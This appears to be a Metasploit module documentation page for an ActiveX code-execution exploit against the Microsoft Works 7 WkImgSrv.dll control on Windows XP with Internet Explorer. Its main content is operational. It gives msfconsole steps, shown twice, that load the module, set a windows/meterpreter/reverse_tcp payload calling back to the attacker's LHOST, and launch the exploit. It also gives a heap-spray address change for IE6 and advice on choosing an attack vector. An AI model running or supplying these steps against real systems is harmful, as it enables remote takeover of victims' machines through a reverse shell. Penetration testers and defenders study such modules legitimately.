Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution
The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker to execute arbitrary code on a system. By passing a negative integer to the WksPictureInterface method, an attacker could execute arbitrary code on the system with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6. This control is not marked safe for scripting, please choose your attack vector carefully.
Exploit Rank
- Low
Exploit Authors
- dean < dean [at] zerodaysolutions.com >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP2-SP3 IE 7.0 (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/fileformat/msworks_wkspictureinterface
msf exploit(msworks_wkspictureinterface) > show payloads
msf exploit(msworks_wkspictureinterface) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(msworks_wkspictureinterface) > set LHOST [MY IP ADDRESS]
msf exploit(msworks_wkspictureinterface) > exploit
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## ## #### ###### #### ##### ##### ## #### ######
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msf > use exploit/windows/fileformat/msworks_wkspictureinterface
msf exploit(msworks_wkspictureinterface) > show payloads
msf exploit(msworks_wkspictureinterface) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(msworks_wkspictureinterface) > set LHOST [MY IP ADDRESS]
msf exploit(msworks_wkspictureinterface) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.html) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |